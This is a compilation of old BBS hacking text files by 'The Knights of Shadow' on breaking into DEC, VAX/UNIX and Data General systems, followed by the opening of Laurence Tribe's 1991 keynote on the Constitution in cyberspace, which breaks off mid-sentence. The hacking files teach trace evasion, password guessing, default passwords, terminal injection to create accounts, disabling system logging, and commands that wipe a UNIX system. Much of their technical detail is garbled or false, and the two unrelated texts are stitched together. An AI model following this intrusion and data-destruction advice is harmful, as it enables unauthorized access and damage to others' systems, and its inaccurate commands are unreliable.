THIS ARTICLE IS INTENDED TO TELL YOU
ABOUT SOME THINGS NOT TO DO, EVEN
BEFORE YOU GET ON THE SYSTEM. WE
WILL TELL YOU ABOUT THE NEW WAVE OF
FRONT END SECURITY DEVICES THAT ARE
BEGINNING TO BE USED ON COMPUTERS.
WE WILL ATTEMPT TO INSTILL IN YOU A
SECOND IDENTITY, TO BE BROUGHT UP AT
TIME OF GREAT NEED, TO PULL YOU OUT
OF TROUBLE.
AND, BY THE WAY, WE TAKE NO, REPEAT,
NO, RESPONCIBILITY FOR WHAT WE SAY IN
THIS AND THE FORTHCOMING ARTICLES.
ENOUGH OF THE BULLSHIT, ON TO THE FUN:
_______________________________________
AFTER LOGGING ON YOUR FAVORITE BBS,
YOU SEE ON THE HIGH ACCESS BOARD A
PHONE NUMBER! IT SAYS IT'S A GREAT
SYSTEM TO "FUCK AROUND WITH!"
THIS MAY BE TRUE, BUT HOW MANY OTHER
PEOPLE ARE GOING TO CALL THE SAME
NUMBER? SO: TRY TO AVOID CALLING A
NUMBER GIVEN TO THE PUBLIC. THIS IS
BECAUSE THERE ARE AT LEAST EVERY OTHER
USER CALLING, AND HOW MANY OTHER BOARDS
WILL THAT NUMBER SPREAD TO?
IF YOU CALL A NUMBER FAR, FAR AWAY, AND
YOU PLAN ON GOING THRU AN EXTENDER OR
A RE-SELLER, DON'T KEEP CALLING THE
SAME ACCESS NUMBER (I.E. AS YOU WOULD
IF YOU HAD A HACKER RUNNING), THIS
LOOKS VERY SUSPICIOUS AND CAN MAKE
LIFE MISERABLE WHEN THE PHONE BILL
COMES IN THE MAIL. MOST CITIES HAVE
A VARIETY OF ACCESS NUMBERS AND
SERVICES, SO USE AS MANY AS YOU CAN.
NEVER TRUST A CHANGE IN THE SYSTEM...
THE 414'S, THE ASSHOLES, WERE CAUGHT
FOR THIS REASON: WHEN ONE OF THEM
CONNECTED TO THE SYSTEM, THERE WAS
NOTHING GOOD THERE. THE NEXT TIME,
THERE WAS A TREK GAME STUCK RIGHT IN
THEIR WAY! THEY PROCEDED TO PLAY SAID
GAME FOR TWO, SAY TWO AND A HALF HOURS,
WHILE TELENET WAS TRACING THEM! NICE
JOB, DON'T YOU THINK? IF ANYTHING
LOOKS SUSPICIOUS, DROP THE LINE
IMMEDIATELY!! AS IN, YESTERDAY!!
THE POINT WE'RE TRYING TO GET ACCROSS
IS: IF YOU USE A LITTLE COMMON SENCE,
YOU WON'T GET BUSTED. LET THE LITTLE
KIDS WHO AREN'T SMART ENOUGH TO
RECOGNIZE A TRAP GET BUSTED, IT WILL
TAKE THE HEAT OFF OF THE REAL HACKERS.
NOW, LET'S SAY YOU GET ON A COMPUTER
SYSTEM... IT LOOKS GREAT, CHECKS
OUT, EVERYTHING SEEMS FINE. OK, NOW
IS WHEN IT GETS MORE DANGEROUS. YOU
HAVE TO KNOW THE COMPUTER SYSTEM (SEE
FUTURE ISSUES OF THIS ARTICLE FOR INFO
ON SPECIFIC SYSTEMS) TO KNOW WHAT NOT
TO DO. BASICALLY, KEEP AWAY FROM ANY
COMMAND WHICH LOOKS LIKE IT MIGHT
DELETE SOMETHING, COPY A NEW FILE INTO
THE ACCOUNT, OR WHATEVER! ALWAYS LEAVE
THE ACCOUNT IN THE SAME STATUS YOU
LOGGED IN WITH. CHANGE _NOTHING_...
IF IT ISN'T AN ACCOUNT WITH PRIV'S,
THEN DON'T TRY ANY COMMANDS THAT
REQUIRE THEM! ALL, YES ALL, SYSTEMS
ARE GOING TO BE KEEPING LOG FILES
OF WHAT USERS ARE DOING, AND THAT WILL
SHOW UP. IT IS JUST LIKE DROPPING A
TROUBLE-CARD IN AN ESS SYSTEM, AFTER
SENDING THAT NICE OPERATOR A PRETTY
TONE. SPEND NO EXCESSIVE AMOUNTS OF
TIME ON THE ACCOUNT IN ONE STRETCH.
KEEP YOUR CALLING TO THE VERY LATE
NIGHT IF POSSIBLE, OR DURING BUSINESS
HOURS (BELIEVE IT OR NOT!). IT SO
HAPPENS THAT THERE ARE MORE USERS ON
DURING BUSINESS HOURS, AND IT IS VERY
DIFFICULT TO READ A LOG FILE WITH
60 USERS DOING MANY COMMNDS EVERY
MINUTE. TRY TO AVOID SYSTEMS WHERE
EVERYONE KNOWS EACH OTHER, DON'T TRY
TO BLUFF. AND ABOVE ALL: NEVER ACT
LIKE YOU OWN THE SYSTEM, OR ARE THE
BEST THERE IS. THEY ALWAYS GRAB THE
PEOPLE WHO'S HEADS SWELL...
THERE IS SOME VERY INTERESTING FRONT
END EQUIPMENT AROUND NOWADAYS, BUT
FIRST LET'S DEFINE TERMS...
BY FRONT END, WE MEAN ANY DEVICE THAT
YOU MUST PASS THRU TO GET AT THE REAL
COMPUTER. THERE ARE DEVICES THAT ARE
MADE TO DEFEAT HACKER PROGRAMS, AND
JUST PLAIN OLD MULTIPLEXERS.
TO DEFEAT HACKER PROGRAMS, THERE ARE
NOW DEVICES THAT PICK UP THE PHONE
AND JUST SIT THERE... THIS MEANS
THAT YOUR DEVICE GETS NO CARRIER, THUS
YOU THINK THERE ISN'T A COMPUTER ON
THE OTHER END. THE ONLY WAY AROUND IT
IS TO DETECT WHEN IT WAS PICKED UP. IF
IT PICKES UP AFTER THE SAME NUMBER
RING, THEN YOU KNOW IT IS A HACKER-
DEFEATER. THESE DEVICES TAKE A MULTI-
DIGIT CODE TO LET YOU INTO THE SYSTEM.
SOME ARE, IN FACT, QUITE SOPHISTICATED
TO THE POINT WHERE IT WILL ALSO LIMIT
THE USER NAME'S DOWN, SO ONLY ONE NAME
OR SET OF NAMES CAN BE VALID LOGINS
AFTER THEY INPUT THE CODE...
OTHER DEVICES INPUT A NUMBER CODE, AND
THEN THEY DIAL BACK A PRE-PROGRAMMED
NUMBER FOR THAT CODE. THESE SYSTEMS
ARE BEST TO LEAVE ALONE, BECAUSE THEY
KNOW SOMEONE IS PLAYING WITH THEIR
PHONE. YOU MAY THINK "BUT I'LL JUST
REPROGRAM THE DIAL-BACK." THINK
AGAIN, HOW STUPID THAT IS... THEN
THEY HAVE YOUR NUMBER, OR A TEST LOOP
IF YOU WERE JUST A LITTLE SMARTER.
IF IT'S YOUR NUMBER, THEY HAVE YOUR
BALLS (IF MALE...), IF ITS A LOOP,
THEN YOU ARE SCREWED AGAIN, SINCE THOSE
LOOPS ARE _MONITORED_.
AS FOR MULTIPLEXERS... WHAT A PLEXER
IS SUPPOSED TO DO IS THIS: THE SYSTEM
CAN ACCEPT MULTIPLE USERS. WE HAVE
TO TIME SHARE, SO WE'LL LET THE FRONT-
END PROCESSOR DO IT... WELL, THIS IS
WHAT A MULTIPLEXER DOES. USUALLY THEY
WILL ASK FOR SOMETHING LIKE "ENTER
CLASS" OR "LINE:". USUALLY IT IS
PROGRAMMED FOR A DOUBLE DIGIT NUMBER,
OR A FOUR TO FIVE LETTER WORD. THERE
ARE USUALLY A FEW SETS OF NUMBERS IT
ACCEPTS, BUT THOSE NUMBERS ALSO SET
YOUR 300/1200 BAUD DATA TYPE. THESE
MULTIPLEXERS ARE INCONVENIENT AT BEST,
SO NOT TO WORRY.
A LITTLE ABOUT THE HISTORY OF HACKING:
HACKING, BY OUR DEFINITION, MEANS A
GREAT KNOWLEDGE OF SOME SPECIAL AREA.
DOCTORS AND LAWYERS ARE HACKERS OF A
SORT, BY THIS DEFINITION. BUT MOST
OFTEN, IT IS BEING USED IN THE COMPUTER
CONTEXT, AND THUS WE HAVE A DEFINITION
OF "ANYONE WHO HAS A GREAT AMOUNT OF
COMPUTER OR TELECOMMUNICATIONS
KNOWLEDGE." YOU ARE NOT A HACKER
BECAUSE YOU HAVE A LIST OF CODES...
HACKING, BY OUR DEFINITION, HAS THEN
BEEN AROUND ONLY ABOUT 15 YEARS. IT
STARTED, WHERE ELSE BUT, MIT AND
COLLEGES WHERE THEY HAD COMPUTER
SCIENCE OR ELECTRICAL ENGINEERING
DEPARTMENTS. HACKERS HAVE CREATED
SOME OF THE BEST COMPUTER LANGUAGES,
THE MOST AWESOME OPERATING SYSTEMS, AND
EVEN GONE ON TO MAKE MILLIONS. HACKING
USED TO HAVE A GOOD NAME, WHEN WE COULD
HONESTLY SAY "WE KNOW WHAT WE ARE
DOING". NOW IT MEANS (IN THE PUBLIC
EYE): THE 414'S, RON AUSTIN, THE NASA
HACKERS, THE ARPANET HACKERS... ALL
THE PEOPLE WHO HAVE BEEN CAUGHT, HAVE
DONE DAMAGE, AND ARE NOW GOING TO HAVE
TO FACE FINES AND SENTANCES.
THUS WE COME PAST THE MORALISTIC CRAP,
AND TO OUR PURPOSE: EDUCATE THE HACKER
COMMUNITY, RETURN TO THE DAYS WHEN
PEOPLE ACTUALLY KNEW SOMETHING...
_______________________________________
A PROGRAM GUIDE:
THREE MORE ARTICLES WILL BE WRITTEN IN
THIS SERIES, AT THE PRESENT TIME.
BASICS OF HACKING I: DEC'S
BASICS OF HACKING II: VAX'S (UNIX)
BASICS OF HACKING III: DATA GENERAL
IT IS IMPOSSIBLE TO WRITE AN ARTICLE
ON IBM, SINCE THERE ARE SO MANY SYSTEMS
AND WE ONLY HAVE INFO ON A FEW...
_______________________________________
THIS ARTICLE HAS BEEN WRITTEN BY:
THE KNIGHTS OF SHADOW
_______________________________________
THE BASICS OF HACKING II: VAX'S
UNIX
UNIX IS A TRADEMARK OF AT&T
(AND YOU KNOW WHAT _THAT_ MEANS)
Uploaded by Elric of Imrryr
_______________________________________
WELCOME TO THE BASICS OF HACKING II:
VAX'S AND UNIX. IN THIS ARTICLE, WE
DISCUSS THE UNIX SYSTEM THAT RUNS ON
THE VARIOUS VAX SYSTEMS. IF YOU ARE
ON ANOTHER UNIX-TYPE SYSTEM, SOME
COMMANDS MAY DIFFER, BUT SINCE IT IS
LICENCED TO BELL, THEY CAN'T MAKE MANY
CHANGES.
_______________________________________
HACKING ONTO A UNIX SYSTEM IS VERY
DIFFICULT, AND IN THIS CASE, WE ADVISE
HAVING AN INSIDE SOURCE, IF POSSIBLE.
THE REASON IT IS DIFFICULT TO HACK A
VAX IS THIS: MANY VAX, AFTER YOU GET
A CARRIER FROM THEM, RESPOND=>
LOGIN:
THEY GIVE YOU NO CHANCE TO SEE WHAT THE
LOGIN NAME FORMAT IS. MOST COMMONLY
USED ARE SINGLE WORDS, UNDER 8 DIGITS,
USUALLY THE PERSON'S NAME. THERE IS
A WAY AROUND THIS: MOST VAX HAVE AN
ACCT. CALLED 'SUGGEST' FOR PEOPLE TO
USE TO MAKE A SUGGESTION TO THE SYSTEM
ROOT TERMINAL. THIS IS USUALLY WATCHED
BY THE SYSTEM OPERATOR, BUT AT LATE
HE IS PROBABLY AT HOME SLEEPING OR
SCREWING SOMEONE'S BRAINS OUT. SO WE
CAN WRITE A PROGRAM TO SEND AT THE
VAX THIS TYPE OF A MESSAGE:
A SCREEN FREEZE (CNTRL-S), SCREEN
CLEAR (SYSTEM DEPENDANT), ABOUT 255
GARBAGE CHARACTERS, AND THEN A COMMAND
TO CREATE A LOGIN ACCT., AFTER WHICH
YOU CLEAR THE SCREEN AGAIN, THEN UN-
FREEZE THE TERMINAL. WHAT THIS DOES:
WHEN THE TERMINAL IS FROZEN, IT KEEPS
A BUFFER OF WHAT IS SENT. WELL, THE
BUFFER IS ABOUT 127 CHARACTERS LONG.
SO YOU OVERFLOW IT WITH TRASH, AND THEN
YOU SEND A COMMAND LINE TO CREATE AN
ACCT. (SYSTEM DEPENDANT). AFTER THIS
YOU CLEAR THE BUFFER AND SCREEN AGAIN,
THEN UNFREEZE THE TERMINAL. THIS IS
A BAD WAY TO DO IT, AND IT IS MUCH
NICER IF YOU JUST SEND A COMMAND TO
THE TERMINAL TO SHUT THE SYSTEM DOWN,
OR WHATEVER YOU ARE AFTER...
THERE IS ALWAYS, *ALWAYS* AN ACCT.
CALLED ROOT, THE MOST POWERFUL ACCT.
TO BE ON, SINCE IT HAS ALL OF THE
SYSTEM FILES ON IT. IF YOU HACK YOUR
WAY ONTO THIS ONE, THEN EVERYTHING IS
EASY FROM HERE ON...
ON THE UNIX SYSTEM, THE ABORT KEY IS
THE CNTRL-D KEY. WATCH HOW MANY TIMES
YOU HIT THIS, SINCE IT IS ALSO A WAY TO
LOG OFF THE SYSTEM!
A LITTLE ABOUT UNIX ARCHITECHTURE:
THE ROOT DIRECTORY, CALLED ROOT, IS
WHERE THE SYSTEM RESIDES. AFTER THIS
COME A FEW 'SUB' ROOT DIRECTORIES,
USUALLY TO GROUP THINGS (STATS HERE,
PRIV STUFF HERE, THE USER LOG HERE...).
UNDER THIS COMES THE SUPERUSER (THE
OPERATOR OF THE SYSTEM), AND THEN
FINALLY THE NORMAL USERS. IN THE UNIX
'SHELL' EVERYTHING IS TREATED THE SAME.
BY THIS WE MEAN: YOU CAN ACCESS A
PROGRAM THE SAME WAY YOU ACCESS A USER
DIRECTORY, AND SO ON. THE WAY THE UNIX
SYSTEM WAS WRITTEN, EVERYTHING, USERS
INCLUDED, ARE JUST PROGRAMS BELONGING
TO THE ROOT DIRECTORY. THOSE OF YOU
WHO HACKED ONTO THE ROOT, SMILE, SINCE
YOU CAN SCREW EVERYTHING...
THE MAIN LEVEL (EXEC LEVEL) PROMPT ON
THE UNIX SYSTEM IS THE $, AND IF YOU
ARE ON THE ROOT, YOU HAVE A # (SUPER-
USER PROMPT).
OK, A FEW BASICS FOR THE SYSTEM...
TO SEE WHERE YOU ARE, AND WHAT PATHS
ARE ACTIVE IN REGUARDS TO YOUR USER
ACCOUNT, THEN TYPE => PWD
THIS SHOWS YOUR ACCT. SEPERATED BY
A SLASH WITH ANOTHER PATHNAME (ACCT.),
POSSIBLY MANY TIMES.
TO CONNECT THROUGH TO ANOTHER PATH,
OR MANY PATHS, YOU WOULD TYPE:
YOU=> PATH1/PATH2/PATH3
AND THEN YOU ARE CONNECTED ALL THE
WAY FROM PATH1 TO PATH3. YOU CAN
RUN THE PROGRAMS ON ALL THE PATHS
YOU ARE CONNECTED TO. IF IT DOES
NOT ALLOW YOU TO CONNECT TO A PATH,
THEN YOU HAVE INSUFFICIENT PRIVS, OR
THE PATH IS CLOSED AND ARCHIVED ONTO
TAPE. YOU CAN RUN PROGRAMS THIS WAY
ALSO:
YOU=> PATH1/PATH2/PATH3/PROGRAM-NAME
UNIX TREATS EVERYTHING AS A PROGRAM,
AND THUS THERE A FEW COMMANDS TO
LEARN...
TO SEE WHAT YOU HAVE ACCESS TO IN THE
END PATH, TYPE=> LS
FOR LIST. THIS SHOW THE PROGRAMS
YOU CAN RUN. YOU CAN CONNECT TO
THE ROOT DIRECTORY AND RUN IT'S
PROGRAMS WITH=>
/ROOT
BY THE WAY, MOST UNIX SYSTEMS HAVE
THEIR LOG FILE ON THE ROOT, SO YOU
CAN SET UP A WATCH ON THE FILE, WAITING
FOR PEOPLE TO LOG IN AND SNATCH THEIR
PASSWORD AS IT PASSES THRU THE FILE.
TO CONNECT TO A DIRECTORY, USE THE
COMMAND: => CD PATHNAME
THIS ALLOWS YOU TO DO WHAT YOU WANT
WITH THAT DIRECTORY. YOU MAY BE ASKED
FOR A PASSWORD, BUT THIS IS A GOOD
WAY OF FINDING OTHER USER NAMES TO
HACK ONTO.
THE WILDCARD CHARACTER IN UNIX, IF
YOU WANT TO SEARCH DOWN A PATH FOR
A GAME OR SUCH, IS THE *.
=> LS /*
SHOULD SHOW YOU WHAT YOU CAN ACCESS.
THE FILE TYPES ARE THE SAME AS THEY
ARE ON A DEC, SO REFER TO THAT SECTION
WHEN EXAMINING FILE. TO SEE WHAT IS
IN A FILE, USE THE => PR FILENAME
COMMAND, FOR PRINT FILE.
WE ADVISE PLAYING WITH PATHNAMES TO
GET THE HANG OF THE CONCEPT. THERE
IS ON-LINE HELP AVAILABLE ON MOST
SYSTEMS WITH A 'HELP' OR A '?'.
WE ADVISE YOU LOOK THRU THE HELP
FILES AND PAY ATTENTION TO ANYTHING
THEY GIVE YOU ON PATHNAMES, OR THE
COMMANDS FOR THE SYSTEM.
YOU CAN, AS A USER, CREATE OR DESTROY
DIRECTORIES ON THE TREE BENEATH YOU.
THIS MEANS THAT ROOT CAN KILL EVERY-
THING BUT ROOT, AND YOU CAN KILL ANY
THAT ARE BELOW YOU. THESE ARE THE
=> MKDIR PATHNAME
=> RMDIR PATHNAME
COMMANDS.
ONCE AGAIN, YOU ARE NOT ALONE ON THE
SYSTEM... TYPE=> WHO
TO SEE WHAT OTHER USERS ARE LOGGED IN
TO THE SYSTEM AT THE TIME. IF YOU
WANT TO TALK TO THEM=> WRITE USERNAME
WILL ALLOW YOU TO CHAT AT THE SAME
TIME, WITHOUT HAVING TO WORRY ABOUT THE
PARSER. TO SEND MAIL TO A USER, SAY
AND ENTER THE MAIL SUB-SYSTEM.
TO SEND A MESSAGE TO ALL THE USERS
ON THE SYSTEM, SAY => WALL
WHICH STANDS FOR 'WRITE ALL'
BY THE WAY, ON A FEW SYSTEMS, ALL YOU
HAVE TO DO IS HIT THE
TO END THE MESSAGE, BUT ON OTHERS YOU
MUST HIT THE CNTRL-D KEY.
TO SEND A SINGLE MESSAGE TO A USER,
SAY => WRITE USERNAME
THIS IS VERY HANDY AGAIN! IF YOU SEND
THE SEQUENCE OF CHARACTERS DISCUSSED
AT THE VERY BEGINNING OF THIS ARTICLE,
YOU CAN HAVE THE SUPER-USER TERMINAL DO
TRICKS FOR YOU AGAIN.
PRIVS:
IF YOU WANT SUPER-USER PRIVS, YOU CAN
EITHER LOG IN AS ROOT, OR EDIT YOUR
ACCT. SO IT CAN SAY => SU
THIS NOW GIVES YOU THE # PROMPT, AND
ALLOWS YOU TO COMPLETELY BY-PASS THE
PROTECTION. THE WONDERFUL SECURITY
CONSCIOUS DEVELOPERS AT BELL MADE IT
VERY DIFFICULT TO DO MUCH WITHOUT
PRIVS, BUT ONCE YOU HAVE THEM, THERE
IS ABSOLUTELY NOTHING STOPPING YOU
FROM DOING ANYTHING YOU WANT TO.
TO BRING DOWN A UNIX SYSTEM:
=> CHDIR /BIN
=> RM *
THIS WIPES OUT THE PATHNAME BIN, WHERE
ALL THE SYSTEM MAINTENANCE FILES ARE.
OR TRY:
=> R -R
THIS RECURSIVELY REMOVES EVERYTHING
FROM THE SYSTEM EXCEPT THE REMOVE
COMMAND ITSELF.
OR TRY:
=> KILL -1,1
=> SYNC
THIS WIPES OUT THE SYSTEM DEVICES FROM
OPERATION.
WHEN YOU ARE FINALLY SICK AND TIRED
FROM HACKING ON THE VAX SYSTEMS, JUST
HIT YOUR CNTRL-D AND REPEAT KEY, AND
YOU WILL EVENTUALLY BE LOGGED OUT.
_______________________________________
THE REASON THIS FILE SEEMS TO BE VERY
SKETCHY IS THE FACT THAT BELL HAS 7
LICENCED VERSIONS OF UNIX OUT IN THE
PUBLIC DOMAIN, AND THESE COMMANDS ARE
THOSE COMMON TO ALL OF THEM. WE
RECOMMEND YOU HACK ONTO THE ROOT OR
BIN DIRECTORY, SINCE THEY HAVE THE
HIGHEST LEVELS OF PRIVS, AND THERE
IS REALLY NOT MUCH YOU CAN DO (EXCEPT
DEVELOPE SOFTWARE) WITHOUT THEM.
_______________________________________
THIS ARTICLE WRITTEN BY:
THE KNIGHTS OF SHADOW
_______________________________________
Description: Hacking DEC's (Knights of Shadow II)
File Date: 6-21-87
File Time: 6:31 am
***************************************
***************************************
** **
** Hacking : DEC's **
** **
***************************************
***************************************
Welcome to Basics of Hacking I: DEC's In this article you will learn how
to log in to DEC's, logging out, and all the fun stuff to do in-between.
All of this information is based on a standard DEC system. Since there
are DEC systems 10 and 20, and we favor, the DEC 20, there will be more
info on them in this article. It is also the more common of the two,
and is used by much more interesting people (if you know what we mean...)
Ok, the first thing you want to do when you are receiving carrier from
a DEC system is to find out the format of login names. You can do this
by looking at who is on the system.
DEC=> @ (the 'exec' level prompt)
YOU=> SY
SY is short for SY(STAT) and shows you the system status. You should see
|he format of login names... A SYSTAT usually comes up in this form:
Job Line Program User
Job: The JOB number (Not important unless you want to log them off later)
Line: What line they are on (used to talk to them...)
These are both two or three digit numbers.
Program: What program are they running under? If it says 'EXEC' they aren't
doing anything at all...
User: ahhhAHHHH! This is the user name they are logged in under...
Copy the format, and hack yourself out a working code...
Login format is as such:
DEC=> @
YOU=> login username password
Username is the username in the format you saw above in the SYSTAT. After you
hit the space after your username, it will stop echoing characters back to
your screen. This is the password you are typing in... Remember, people
usually use their name, their dog's name, the name of a favorite character
in a book, or something like this. A few clever people have it set to a key
cluster (qwerty or asdfg). PW's can be from 1 to 8 characters long, anything
after that is ignored.
It would be nice to have a little help, wouldn't it? Just type a ?
or the word HELP, and it will give you a whole list of topics...
Some handy characters for you to know would be the control keys, wouldn't it?
Backspace on a DEC 20 is rub which is 255 on your ASCII chart. On the DEC 10
it is Ctrl-H. To abort a long listing or a program, Ctrl-C works fine. Use
Ctrl-O to stop long output to the terminal. This is handy when playing
a game, but you don't want to Ctrl-C out. Ctrl-T for the time. Ctrl-U
will kill the whole line you are typing at the moment. You may accidently
run a program where the only way out is a Ctrl-X, so keep that in reserve.
Ctrl-S to stop listing, Ctrl-Q to continue on both systems. Is your
terminal having trouble?? Like, it pauses for no reason, or it doesn't
backspace right? This is because both systems support many terminals,
and you haven't told it what yours is yet... You are using a VT05 (Isn't
that funny? I thought i had an apple) so you need to tell it you are one.
DEC=> @
YOU=> information terminal
or...
YOU=> info ter
This shows you what your terminal is set up as...
DEC=> all sorts of shit, then the @
YOU=> set ter vt05
This sets your terminal type to VT05. Now let's see what is in the account
(here after abbreviated acct.) that you have hacked onto...
SAY => DIR
short for directory, it shows you what the user of the code has save to the
disk. There should be a format like this: xxxxx.ooo xxxxx is the file
name, from 1 to 20 characters long. ooo is the file type, one of:
exe, txt, dat, bas, cmd and a few others that are system dependant.
Exe is a compiled program that can be run (just by typing its name at the @).
Txt is a text file, which you can see by typing=> type xxxxx.txt
Do not try to=> type xxxxx.exe This is very bad for your terminal and
will tell you absolutly nothing. Dat is data they have saved.
Bas is a basic program, you can have it typed out for you.
Cmd is a command type file, a little too complicated to go into here.
TRY => take xxxxx.cmd
By the way, there are other usersout there who may have files you can
use (Gee, why else am i here?).
TYPE => DIR <*.*> (DEC 20)
=> DIR [*,*] (DEC 10)
* is a wildcard, and will allow you
to access the files on other accounts if the user has it set for public
access. If it isn't set for public access, then you won't see it.
to run that program:
DEC=> @
YOU=> username program-name
Username is the directory you saw the file listed under, and file name was
what else but the file name?
** YOU ARE NOT ALONE **
Remember, you said (at the very start) SY short for SYSTAT, and how we said
this showed the other users on the system? Well, you can talk to them,
or at least send a message to anyone you see listed in a SYSTAT. You can
do this by:
DEC=> the user list (from your systat)
YOU=> talk username (DEC 20)
send username (DEC 10)
Talk allows you and them immediate conferencing.
Description: Hackign Data General (Knights of Shadow IV)
File Date: 6-21-87
File Time: 6:36 am
***************************************
***************************************
** **
** Hacking III: Data **
** General **
** **
***************************************
***************************************
Welcome to the basics of hacking III: Data General computers.
Data General is favored by large corporations who need to have a lot of
data on-line. The Data General AOS, which stands for Advance on of
bastardized UNIX. All the commands which were in the UNIX article, will
work on a Data General. Once again, we have the problem of not knowing
the format for the login name on the Data General you want to hack. As
seems to be standard, try names from one to 8 digits long. Data General
designed the computer to be for businessmen, and is thus very simplistic,
and basically fool proof (but not damn fool proof). It follows the same
login format as the unix system:
DG=> login:
DG=> password:
YOU=> password
Passwords can be a maximum of 8 characters, and they are almost always
set to a default of 'AOS' or 'DG'. (any you know about businessmen...)
A word about control characters:
Ctrl-O stops massive print-outs to the screen, but leaves you in whatever
mode you were. (A technical word on what this actually does: It tells the
CPU to ignore the terminal, and prints everything out to the CPU! This is
about 19200 baud, and so it seems like it just cancels.) Ctrl-U kills the
line you are typing at the time. Now for the weird one: Ctrl-C tells the
CPU to stop, and wait for another ctrl character. To stop a program,
you actually need to type Ctrl-C and then a Ctrl-B.
Once you get on, type 'HELP'. Many DG (Data General) computers are sold
in a package deal, which also gets the company free customizing. So you never
know what commands there might be. So we will follow what is known as the
'ECLIPSE STANDARD', or''ctory like. To find out the files on the directory
you are using, type
=> DIR
To run a program, just like on a DEC, just type its name. Other than this,
and running other people's programs, there really isn't a standard...
*** HARK, yon other system users ***
To see who is on, type => WHO remember?). This shows the other users,
what they are doing, and what paths they are connected across. This
is handy, so try a few of those paths yourself. To send a message, say
=> send username
This is a one time message, just like send on the DEC 10. From here on, try
commands from the other previous files and from the 'HELP' listing.
superuser:
If you can get privs, just say:
=> superuser on
and you turn those privs on!
By the way, you remember that computers keep a log of what people do? type:
=> syslog /stop
and it no longer records anything you do on the system, or any of the other
users. It screams to high heaven that it was you who turned it off, but it
keeps no track of any accounts created or whatever else you may do. You can
say=> syslog /start
to turn it back on (now why would you want to do something like that?????)
To exit from the system, type=> BYE and the system will hang up on you.
Most of the systems around, including DECs, VAX's, and DG's, have games.
These are usually located in a path or directory of the name games or
or games: Try looking in them, and you might find adventure, zork, wumpus
(with bent arrows in hand) or a multitude of others. There may also be
games called 'CB' or 'FORUM'. These are a sort of computer conference call.
Use them on weekends, and you can meet all sorts of interesting people.
If you would like to see more articles on hacking (this time far more than
just the basics), or maybe articles on networks and such, then leave us mail
if we are on the system, or have the sysop search us down. We call a lot
of places, and you may just find us.
***************************************
***************************************
This completes the series of articles on hacking...
The Basics of Hacking: Introduction
The Basics of Hacking I: DEC's
The Basics of Hacking II: VAX's (UNIX)
The Basics of Hacking III: DG's
***************************************
***************************************
This and the previous articles by:
The Knights of Shadow
***************************************
***************************************
Downloaded From P-80 International Information Systems 304-744-2253
The Constitution in Cyberspace
Laurence H. Tribe, "The Constitution in Cyberspace"
PREPARED REMARKS
KEYNOTE ADDRESS AT THE
FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY
Copyright, 1991, Jim Warren & Computer Professionals for Social Responsibility
All rights to copy the materials contained herein are reserved, except as
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voice:(415)851-7075; fax:(415)851-2814; e-mail:jwarren@well.sf.ca.us.[4/19/91]
[ These were the author's *prepared* remarks.
A transcript of Professor Tribe's March 26th comments at the Conference
(which expanded slightly on several points herein) will be uploaded onto the
WELL as soon as it is transcribed from the audio tapes and proofed against
the audio and/or videotapes.]
"The Constitution in Cyberspace:
Law and Liberty Beyond the Electronic Frontier"
by Laurence H. Tribe
Copyright 1991 Laurence H. Tribe,
Tyler Professor of Constitutional Law,
Harvard Law School.
Professor Tribe is the author, most recently, of
"On Reading the Constitution" (Harvard University Press,
Cambridge, MA, 1991).
Introduction
My topic is how to "map" the text and structure of our
Constitution onto the texture and topology of "cyberspace". That's
the term coined by cyberpunk novelist William Gibson, which many
now use to describe the "place" -- a place without physical walls
or even physical dimensions -- where ordinary telephone
conversations "happen," where voice-mail and e-mail messages are
stored and sent back and forth, and where computer-generated
graphics are transmitted and transformed, all in the form of
interactions, some real-time and some delayed, among countless
users, and between users and the computer itself
Some use the "cyberspace" concept to designate fantasy worlds
or "virtual realities" of the sort Gibson described in his novel
*Neuromancer*, in which people can essentially turn their minds into
computer peripherals capable of perceiving and exploring the data
matrix. The whole idea of "virtual reality," of course, strikes a
slightly odd note. As one of Lily Tomlin's most memorable
characters once asked, "What's reality, anyway, but a collective
hunch?" Work in this field tends to be done largely by people who
share the famous observation that reality is overrated!
However that may be, "cyberspace" connotes to some users the
sorts of technologies that people in Silicon Valley (like Jaron
Lanier at VPL Research, for instance) work on when they try to
develop "virtual racquetball" for the disabled, computer-aided
design systems that allow architects to walk through "virtual
buildings" and remodel them *before* they are built, "virtual
conferencing" for business meetings, or maybe someday even "virtual
day care centers" for latchkey children. The user snaps on a pair
of goggles hooked up to a high-powered computer terminal, puts on
a special set of gloves (and perhaps other gear) wired into the
same computer system, and, looking a little bit like Darth Vader,
pretty much steps into a computer-driven, drug-free, 3-dimensional,
interactive, infinitely expandable hallucination complete with
sight, sound and touch -- allowing the user literally to move
through, and experience, information.
I'm using the term "cyberspace" much more broadly, as many
have lately. I'm using it to encompass the full array of
computer-mediated audio and/or video interactions that are already
widely dispersed in modern societies -- from things as ubiquitous
as the ordinary telephone, to things that are still coming on-line
like computer bulletin boards and networks like Prodigy, or like
the WELL ("Whole Earth 'Lectronic Link"), based here in San
Francisco. My topic, broadly put, is the implications of that
rapidly expanding array for our constitutional order. It is a
cyberspace, either get bent out of shape or fade out altogether.
The question, then, becomes: when the lines along which our
Constitution is drawn warp or vanish, what happens to the
Constitution itself?
Setting the Stage
To set the stage with a perhaps unfamiliar example, consider
a decision handed down nine months ago, *Maryland v. Craig*, where
the U.S. Supreme Court upheld the power of a state to put an
alleged child abuser on trial with the defendant's accuser
testifying not in the defendant's presence but by one-way,
closed-circuit television. The Sixth Amendment, which of course
antedated television by a century and a half, says: "In all
criminal prosecutions, the accused shall enjoy the right . . . to
be confronted with the witnesses against him." Justice O'Connor
wrote for a bare majority of five Justices that the state's
procedures nonetheless struck a fair balance between costs to the
accused and benefits to the victim and to society as a whole.
Justice Scalia, joined by the three "liberals" then on the Court
(Justices Brennan, Marshall and Stevens), dissented from that
cost-benefit approach to interpreting the Sixth Amendment. He
wrote:
The Court has convincingly proved that the Maryland
procedure serves a valid interest, and gives the
defendant virtually everything the Confrontation Clause
guarantees (everything, that is, except confrontation).
I am persuaded, therefore, that the Maryland procedure is
virtually constitutional. Since it is not, however,
actually constitutional I [dissent].
Could it be that the high-tech, closed-circuit TV context,
almost as familiar to the Court's youngest Justice as to his even
younger law clerks, might've had some bearing on Justice Scalia's
sly invocation of "virtual" constitutional reality? Even if
Justice Scalia wasn't making a pun on "virtual reality," and I
suspect he wasn't, his dissenting opinion about the Confrontation
Clause requires *us* to "confront" the recurring puzzle of how
constitutional provisions written two centuries ago should be
construed and applied in ever-changing circumstances.
Should contemporary society's technology-driven cost-benefit
fixation be allowed to water down the old-fashioned value of direct
